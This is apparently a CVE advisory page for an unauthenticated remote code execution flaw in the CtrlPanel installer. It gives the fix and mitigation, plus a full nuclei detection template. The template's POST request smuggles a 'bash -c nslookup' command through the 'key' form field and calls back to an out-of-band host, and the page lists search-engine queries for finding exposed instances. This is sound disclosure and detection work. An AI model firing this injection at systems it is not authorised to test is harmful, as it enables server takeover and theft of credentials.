Browse / CVEs / CVE-2026-34234
CVE-2026-34234· ctrlpanel-gg / ctrlpanel· CWE-78
CtrlPanel <= 1.1.1 - Remote Code Execution
CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.
Impact
Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.
Fix
Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.
How to confirm it
Send: GET /installer/index.php
Positive when: status_code == 200 and contains(body, 'installation')
Send: POST /installer/index.php
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2026-34234 -u <target>
The full check
id: CVE-2026-34234
info:
name: CtrlPanel <= 1.1.1 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.
impact: |
Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.
remediation: |
Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.
reference:
- https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh
- https://github.com/rootdirective-sec/CVE-2026-34234-Lab
- https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-34234
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-34234
epss-score: 0.03243
epss-percentile: 0.88408
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: ctrlpanel-gg
product: ctrlpanel
shodan-query: title:"CtrlPanel" http.html:"ctrlpanel"
fofa-query: title="CtrlPanel"
tags: cve,cve2026,ctrlpanel,rce,oast,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /installer/index.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'installation')"
condition: and
internal: true
- raw:
- |
POST /installer/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"References
- https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh
- https://github.com/rootdirective-sec/CVE-2026-34234-Lab
- https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-34234
Use this check only on systems you are authorised to test. Where the data comes from